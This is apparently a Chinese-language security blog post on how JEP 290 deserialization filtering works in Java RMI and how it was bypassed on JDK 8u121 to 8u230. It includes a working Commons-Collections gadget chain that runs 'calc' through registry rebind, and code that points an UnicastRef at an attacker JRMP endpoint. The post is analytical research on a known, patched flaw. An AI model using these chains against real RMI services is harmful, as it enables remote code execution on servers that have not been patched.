Java安全中JEP290在RMI的实现及绕过低版本JDK限制插图

RMI中的实现

过滤器的创建

我们在创建一个注册中心的时候调用的是

LocateRegistry.createRegistry(1099);

我们跟进一下createRegistry方法

返回的是一个RegistryImpl对象,跟进其构造方法

如果开启了开放端口为1099并且开启了SecurityManager策略

将会进入if语句中进行处理,我这里进入的是else语句

将会创建一个LiveRef对象,传入了RegistryImpl的ObjID(0)和端口号

之后创建了一个UnicastServerRef对象,传入了前面的LiveRef对象和RegistryImpl::registryFilter

所以我们知道其分别是将参数一和参数二传入了ref属性和filter属性中

我们看看RegistryImpl::registryFilter的写法

在上面JEP Basic中也提到了,因为

存在有@FunctionalInterface接口,所以能够通过Lambda的形式写入,这里就是这种写法

将这个RMI中内置的过滤器传入了filter属性中去

之后调用了RegistryImpl#setup进行设置

将创建的UnicastServerRef对象传入RegistryImpl类对象的ref属性中,之后通过调用UnicastServerRef#exportObject进行对象导出

在这里主要是将其封装成了一个Target对象

之后调用了LiveRef#exportObject进行导出

在后面存在有端口的监听

也有着将Target对象放入了ObjectTable

在后面也导出了内置的bind / rebind / list / lookup等方法

最后在处理方法的调用的时候,将会调用Transport#serviceCall方法

首先从输入流中读取ObjID值,根据对应的ID获取Target对象,之后调用getDispatcher获取其中的disp属性

也就是前面提到的,传入的UnicastServerRef对象

之后调用到了UnicastServerRef#dispatch进行分发

在这里因为skel属性不为空,所以将会调用oldDispatch方法

在其方法中存在有unmarshalCustomCallData方法的调用

跟进一下

将会调用Config.setObjectInputFilter方法,进而调用ObjectInputStream#setInternalObjectInputFilter方法将前面Registry创建过程中设置的RegistryImpl::registryFilter这个filter传入

这里也体现了RMI的实现是一个局部过滤的操作

拦截的细节

上面已经传入了过滤器,之后就是为什么会被拦截

可以跟着跟进到RegistryImpl_Skel#dispatch方法,进行分发

根据不同的方法的调用,进入不同的case语句中,我这里是rebind的调用,来到了case 3语句

按理说,漏洞的触发点在readObject方法的调用部分,我们跟进一下

这里就是很常见的反序列化过程

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:135, RegistryImpl_Skel (sun.rmi.registry)

ObjectInputStream#readProxyDesc方法调用中

将会调用filterCheck方法,跟进

这里因为前面存在serialFilter的赋值, 也就是前面的registryFilter,所以将会调用他的checkInput方法

在这里在调用serialClass方法获取实例类之后,将会进行白名单判断,是否是

  1. String
  2. Number
  3. Remote
  4. Proxy
  5. UnicastRef

一个拦截的示例

首先是一个注册端

public class Registry {
    //注册使用的端口
    public static void main(String[] args) throws RemoteException {
        LocateRegistry.createRegistry(1099);
        System.out.println("server start!!");
        while (true);
    }
}

之后是一个服务段,rebind了一个恶意的对象

public class RMIClientAttackDemo2 {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException, NoSuchMethodException {

        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //使用动态代理初始化 AnnotationInvocationHandler
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        //创建handler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, expMap);
        //使用AnnotationInvocationHandler动态代理Remote
        Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

        //链接Registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);

        //触发反序列化
        registry.rebind("test", remote);
    }
}

没有通过前面的白名单过滤,首先是一个Remote对象,能够通过,之后就是一个Proxy对象,也能通过,在之后是一个AnnotationInvocationHandler类,不能够通过白名单过滤,返回了状态码REJECTED

Bypass

8u121-8u230

利用点

对于JEP RMI的绕过,主要是通过写入一个恶意ip+port,使得另一端能够访问这个恶意JRMP服务,造成的命令执行

我们来分析下为什么能够执行!

首先,我们在Registry registry = LocateRegistry.getRegistry(1099);处打下断点

getRegistry方法的调用过程中,前面只是获取了本地ip地址,关键在后面,这里通过Registry_id也就是0,和一个封装了ip和portTCPEndpoint对象,创建了一个LiveRef对象

再然后将其传入了UnicastRef对象的ref属性中

最后通过调用Util.createProxy方法创建了一个RegistryImpl_Stub对象,封装了UnicastRef / LiveRef / TCPEndpoint对象

查看一下返回的Stub结构

接下来,将会调用得到的Registry_Stub对象的bind方法,进行对象的绑定

即是RegistryImpl_Stub#bind方法中

这里的ref属性就是在创建过程中提到的UnicastRef对象,调用其newCall方法,根据对应的ID创建了一个StreamRemoteCall对象并返回

之后调用writeObject方法将我们bind的恶意对象传输到Registry

调用了前面得到的StreamRemoteCall远程调用方法,即是this.ref.invoke()方法

在这个方法调用了远程调用的executeCall进行调用

来到了服务端Transport#serviceCall方法的调用,获取之前writeObject传入的StreamRemoteCall对象的输入流,中输入流中得到ID,并取出对应的Target对象

之后调用dispatch进行分发

来到了UnicastServerRef#dispatch方法

调用了oldDispatch方法

下面的,不详细分析了,前面也讲过这个流程

贴个调用链就行了

registryFilter:416, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

之后就是进行过滤器的白名单验证

这里也是这个Bypass点的关键点,这里利用的是白名单中的Remote接口,在其实现类中有一个RemoteObject这个抽象类,能够通过白名单

我们知道反序列化具有传递性,是一层一层的进行反序列化的,在序列化RemoteObject的时候,将会调用其readObject方法

这里从输入流中调用readObject得到UnicastRef对象

接着调用了readExternal方法

跟进

在这个方法中调用了LiveRef#read方法从输入流中获取了我们在前面封装的LiveRef对象,跟进一下

在该方法中首先从输入流中获取了TCPEndpoint对象,并在后面封装成了一个LiveRef对象

在后面通过调用saveRef方法,

incomingRefTable属性中获取var2这个Endpoint对象,如果没有这个Endpoint,将会将这个Endpoint put进入map对象中

看看这个属性

这是一个EndpointLiveRef对象列表的映射

在最后将LiverRef对象写入前面new的一个ArrayList中去

在添加进入了Endpoint对象之后,结束了readObject方法的调用

回到了RegistryImpl_Skel#dispatch方法中,执行StreamRemoteCall#releaseInputStream方法

跟进一下

这里的this.in属性就是ConnectionInputStream,不为空,调用了他的registryRefs方法来进行Ref的注册

这里的incomingRefTable是不为空的,因为我们在前面的saveRef方法添加了映射

这里将会迭代的取出属性中的每一对映射,调用DGCClient.registerRefs方法进行注册调用

这里通过DGCClient.EndpointEntry.lookup方法进行对应Endpoint的发起连接

如果我们能够控制这里的Endpoint对象的ip and port,就能够对任意的服务发起连接,如果搭建一个恶意的JRMP服务,就能够成功利用

如何控制Endpoint对象后面讲,下面讲的是利用原理

利用原理

在进行远程连接之后得到的是一个DGCClient$EndpointEntry对象

一直可以来到DGCImpl_Stub#dirty方法中

首先获取了一个远程调用对象

之后类似之前的RegistryImpl_Stub中的,调用invoke方法

UnicastRef#invoke方法中调用executeCall进行远程调用

这里存在有个ConnectionInputStream#readObject的调用

因为RMI是一种局部过滤器,在这里的反序列化调用中是不存在有过滤器限制的,所以能够

所以,我们如果在恶意的服务端在ConnectionInputStream对象中writeObject了一个恶意对象就能够成功反序列化

利用构造

  1. 找到一个RemoteObject类或其没有重写readObject方法的类,能够控制其内部的RemoteRef类型属性ref为包含恶意端口的UnicastRef对象 。因为RemoteObject类是一个抽象类,所以我们需要找到他的实现类

我们可以找到RemoteObjectInvocationHandler这个类

在其构造方法中,存在有ref属性的赋值

根据前面的分析,我们知道一个UnicastRef对象封装了一个LiveRef对象,我们关注一下LiveRef的构造方法

参数一是一个ObjID,RMI间是通过这个来判断调用哪个远程对象的,参数二是一个Endpoint对象,我们传入一个带有恶意服务端的ip和port的TCPEndpoint对象,参数三是一个Boolean类型的形参,判断该Endpoint是否是远程对象

构造

ObjID id = new ObjID(new Random().nextInt());
   TCPEndpoint te = new TCPEndpoint("localhost", 9999);
   UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

之后直接将这个恶意的ref传入RemoteObjectInvocationHandler构造方法中就行了

  1. 对于恶意JRMP服务我们可以直接使用ysoserial项目

修复

在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,所以将会被过滤